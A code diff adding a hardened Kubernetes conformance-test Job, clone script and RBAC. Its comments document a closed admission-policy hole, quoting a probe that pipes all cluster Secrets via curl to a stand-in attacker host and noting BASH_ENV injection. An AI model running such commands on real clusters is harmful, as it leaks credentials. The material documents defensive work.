+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/incluster/conformance-clone

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#
+# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
+# Everything it writes therefore lives under /workspace. There is no writable /tmp.
+###############################################################################
+set -euo pipefail
+
+# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
+readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
+readonly BAKED_SRC="/workspace/src"
+
+die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+log() { printf '==> %s\n' "$*"; }
+
+[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
+
+# --- the one genuinely trusted input ----------------------------------------
+# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
+# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
+: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
+printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
+  || die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
+       The CI trigger did not substitute it, or substituted junk."
+
+# --- env that may agree with the baked values, but may not override them -----
+REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
+[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
+         got:    ${REPO_URL}
+         baked:  ${BAKED_REPO_URL}
+       Refusing. A caller that can choose the repository can choose the code that runs."
+
+SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
+[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
+         got:    ${SRC}
+         baked:  ${BAKED_SRC}
+       Refusing."
+
+# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
+# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
+# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
+# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
+: "${TMPDIR:=/workspace/tmp}"
+: "${HOME:=/workspace/home}"
+on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
+on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
+on_workspace "${HOME}"   || die "HOME must be /workspace or under it (got '${HOME}')"
+export TMPDIR HOME
+mkdir -p "${TMPDIR}" "${HOME}"
+
+# --- credential (optional) ---------------------------------------------------
+# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
+# answers from the environment. The token therefore never appears in argv and never on disk.
+#
+# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
+# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
+# image), so requiring the Secret would fail runs that would otherwise work — and would make
+# this script untestable without one. It is not a privilege downgrade: the integrity
+# guarantee here is the SHA assertion below, not the credential. Which mode was used is
+# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
+CRED=''
+if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
+  CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+  log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
+else
+  log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
+fi
+
+git_c() {
+  if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
+}
+
+# --- clone, land the exact commit, and PROVE it ------------------------------
+log "shallow clone ${REPO_URL} -> ${SRC}"
+git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
+
+if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+  log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+  git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+fi
+
+git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+# The assertion is the point of the whole script: everything above is best-effort plumbing,
+# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
+head="$(git -C "${SRC}" rev-parse HEAD)"
+[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
+  || die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
+
+test -x "${SRC}/conformance/run.sh" \
+  || die "no executable conformance/run.sh at ${head}."
+
+log "suite ready at ${head}"

conformance/incluster/kustomization.yaml

@@ -0,0 +1,14 @@
+# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
+#
+# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
+# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
+# reconciling it would create a permanent Job object and fight the trigger for ownership.
+#
+# The identities here are inert without
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
+# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
+# half — see the header of rbac.yaml.
+apiVersion: kustomize.config.k8s.io/v1beta1
+kind: Kustomization
+resources:
+  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,3 +174,68 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
+---
+# =============================================================================
+# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
+#
+# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
+# that can `create jobs` in this namespace can create a Job with
+# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
+# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
+# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
+# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
+# access") while appearing to satisfy it.
+#
+# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
+# THIS ServiceAccount only when they match the committed conformance shape. This Role is
+# the necessary half; that policy is the sufficient half. Neither works alone — do not
+# grant this Role without that policy reconciled and ENFORCING.
+#
+# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
+# =============================================================================
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+rules:
+  # Create the run, and watch it to completion.
+  - apiGroups: [batch]
+    resources: [jobs]
+    verbs: [create, get, list, watch]
+  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
+  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
+  # them from the log, so no execution channel into the runner pod is ever granted.
+  - apiGroups: [""]
+    resources: [pods, pods/log]
+    verbs: [get, list, watch]
+  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
+  # failed run), no secrets, no configmaps, no exec, no create on pods.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: conformance-trigger
+subjects:
+  - kind: ServiceAccount
+    name: conformance-trigger
+    namespace: conformance

conformance/lib/record_run.py

@@ -489,6 +489,36 @@ def pinned_chainsaw_version(conf_root: Path) -> str:
     return "unknown"
 
 
+def context_env() -> str:
+    """The env a run TARGETED, derived from the live kube context — never guessed.
+
+    WHY THIS IS NOT A DEFAULT STRING. `--env` used to fall back to the literal "dev"
+    (`os.environ.get("CONF_ENV", "dev")`), and CONF_ENV is set nowhere in this repo, so EVERY
+    recorded proof was stamped `env: dev` regardless of the cluster it ran against. That was
+    harmless while dev was the only cluster. Dev was decommissioned 2026-09-12 and prod is now
+    the only one, so on 2026-09-13 a genuine prod DR-restore proof was recorded as `env: dev` —
+    a proof that lies about where it was proven is worse than no proof, because the ledger's
+    whole purpose is to say what was demonstrated WHERE. Caught before it was committed.
+
+    Derived from `kubectl config current-context` (`k3s-prod` -> `prod`), which cannot drift
+    from the cluster the run actually talked to. Undeterminable is "unknown", NEVER a cluster
+    name: an unreadable context must not silently attribute a proof to an environment.
+    """
+    try:
+        p = subprocess.run(["kubectl", "config", "current-context"],
+                           capture_output=True, text=True, timeout=15)
+    except (OSError, subprocess.TimeoutExpired):
+        return "unknown"
+    if p.returncode != 0:
+        return "unknown"
+    ctx = (p.stdout or "").strip()
+    if not ctx:
+        return "unknown"
+    # contexts in this repo are named k3s-<env>; anything else is recorded verbatim so an
+    # unexpected context is visible in the ledger rather than being coerced into a known name.
+    return ctx[len("k3s-"):] if ctx.startswith("k3s-") else ctx
+
+
 def server_kube_version() -> str:
     """Server gitVersion via `kubectl version` (read-only), else "unknown"."""
     for args in (["kubectl", "version", "-o", "json"],
@@ -883,7 +913,9 @@ def main() -> int:
                     help=f"append-only ledger (default {DEFAULT_LEDGER})")
     ap.add_argument("--tests", type=Path, default=CONF_ROOT / "tests")
     ap.add_argument("--repo", type=Path, default=REPO_ROOT)
-    ap.add_argument("--env", default=os.environ.get("CONF_ENV", "dev"))
+    ap.add_argument("--env", default=os.environ.get("CONF_ENV") or context_env(),
+                    help="env the run targeted; derived from the kube context when "
+                         "unset (never defaulted to a cluster name)")
     ap.add_argument("--chainsaw-version", default=None,
                     help="override the versions.env pin (recorded verbatim)")
     ap.add_argument("--kube-version", default=os.environ.get("CONF_KUBE_VERSION"),

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
